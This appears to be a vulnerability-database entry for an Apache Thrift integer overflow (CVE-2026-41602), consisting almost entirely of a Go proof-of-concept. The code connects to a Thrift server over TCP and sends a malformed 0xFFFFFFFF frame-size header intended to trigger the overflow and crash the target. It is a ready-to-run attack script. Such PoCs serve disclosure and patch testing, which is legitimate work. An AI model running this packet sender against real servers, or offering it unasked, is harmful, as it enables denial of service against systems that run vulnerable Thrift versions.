CVE-2026-41602 Apache Thrift整数溢出漏洞

package main import ( "bytes" "encoding/binary" "fmt" "net" ) // PoC for CVE-2026-41602: Apache Thrift TFramedTransport Integer Overflow // This PoC demonstrates sending a malformed frame size to trigger the vulnerability. func main() { target := "127.0.0.1:9090" conn, err := net.Dial("tcp", target) if err != nil { fmt.Println("Connection failed:", err) return } defer conn.Close() // TFramedTransport reads a 4-byte big-endian size header. // Sending a large value (e.g., 0xFFFFFFFF) may cause an integer overflow // in the buffer allocation logic in versions < 0.23.0. maliciousSize := uint32(0xFFFFFFFF) buf := new(bytes.Buffer) binary.Write(buf, binary.BigEndian, maliciousSize) // Send the malicious header _, err = conn.Write(buf.Bytes()) if err != nil { fmt.Println("Write failed:", err) return } fmt.Println("Malicious packet sent. Check target for crashes.") }